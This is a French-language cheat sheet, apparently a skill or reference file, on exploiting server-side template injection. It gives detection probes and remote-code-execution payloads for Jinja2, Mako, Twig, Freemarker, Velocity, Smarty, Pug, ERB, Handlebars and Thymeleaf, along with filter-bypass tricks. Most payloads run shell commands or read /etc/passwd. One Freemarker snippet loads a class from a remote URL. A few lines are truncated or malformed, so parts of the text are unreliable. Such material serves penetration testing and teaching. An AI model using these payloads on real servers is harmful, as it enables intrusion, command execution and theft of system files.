| name | ssti-exploitation |
| description | Guide complet d'exploitation SSTI (Server-Side Template Injection) — Jinja2, Twig, Freemarker, Velocity, Mako, Jade/Pug, detection, RCE |
| category | cybersecurite |
SSTI — Server-Side Template Injection
Introduction
Les SSTI surviennent quand l'entrée utilisateur est directement concaténée dans un template (ex: render_template_string("Hello " + name)). Le moteur de template exécute le code injecté, menant à RCE.
Détection
Test de détection universel
${7*7}
{{7*7}}
*{7*7}
{%7*7%}
{{7*'7'}}
Identifier le moteur de template
${"test".toUpperCase()} → TEST (Freemarker, Velocity)
${"test".upper()} → TEST (Python Jinja2)
${"test"|upper} → TEST (Twig, Smarty)
{{"test".upper()}} → TEST (Python Jinja2)
{{"test"|upper}} → TEST (Twig)
Jinja2 (Python)
Détection
{{7*7}} → 49
{{7*'7'}} → 7777777 (string multiplication)
{{config}} → affiche la config Flask
RCE — Lecture de fichiers
{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}
{{ ''.__class__.__mro__[1].__subclasses__() }}
{{ ''.__class__.__mro__[1].__subclasses__()[X]('id', shell=True, stdout=-1).communicate() }}
RCE — Shell complet
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
{{ ''.__class__.__mro__[2].__subclasses__()[199].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read() }}
Request object Flask
{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
Mako (Python)
${'__import__("os").popen("id").read()'}
${self.module.cache.__dict__}
<%! import os; os.popen("id").read() %>
Twig (PHP)
Détection
{{7*7}} → 49
{{_self}} → informations sur le template
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}
RCE — sortie standard
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("cat /etc/passwd")}}
{{app.request.server.get|filter("exec")}}
{
{{_context|filter("system")}}
{{_context|filter("id")}}
RCE — Lecture fichiers
{{'/etc/passwd'|file_get_contents}}
{{include('/etc/passwd')}}
Freemarker (Java)
Détection
${7*7} → 49
<#assign x=7*7>${x} → 49
RCE basique
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","id").start()}
RCE avancé
<#assign class=("ru""?join(""))>
<#assign uri=("http:
<#assign cl=("java.net.URLClassLoader"?new(uri))>
<#assign evil=cl.loadClass("Evil")?new()>
Freemarker — ObjectConstructor
<#assign obfuscator="freemarker.template.utility.JythonRuntime"?new()>
${obfuscator("import os; os.popen('id').read()")}
Velocity (Java)
Détection
RCE
#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("id")
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($rt=$class.inspect("java.lang.Runtime").type)
$rt.getRuntime().exec("id")
Smarty (PHP)
{system('id')}
{exec('cat /etc/passwd')}
{php}echo shell_exec('id');{/php}
Jade/Pug (Node.js)
#{global.process.mainModule.require('child_process').execSync('id').toString()}
#{(new Error()).stack}
Moteurs additionnels
ERB (Ruby)
<%= 7*7 %> → 49
<%= system("id") %>
<%= `id` %>
<%= File.read("/etc/passwd") %>
Handlebars (Node.js)
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').execSync('id').toString()"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
Thymeleaf (Java)
thymeleaf://${script}
[[${T(java.lang.Runtime).getRuntime().exec("id")}]]
Bypass de protections
Caractères bloqués
{{''['\\x2e\\x5f\\x5fclass\\x5f\\x5f']}}
{{''|attr('\\x5f\\x5fclass\\x5f\\x5f')}}
{{request|attr('application')|attr('\\x5f\\x5fglobals\\x5f\\x5f')|attr('\\x5f\\x5fgetitem\\x5f\\x5f')('os')|attr('popen')('id')|attr('read')()}}
Sans parenthèses
{{config.from_popen}} → renvoie l'objet fonction
{{config.__class__.__init__.__globals__}}
Ressources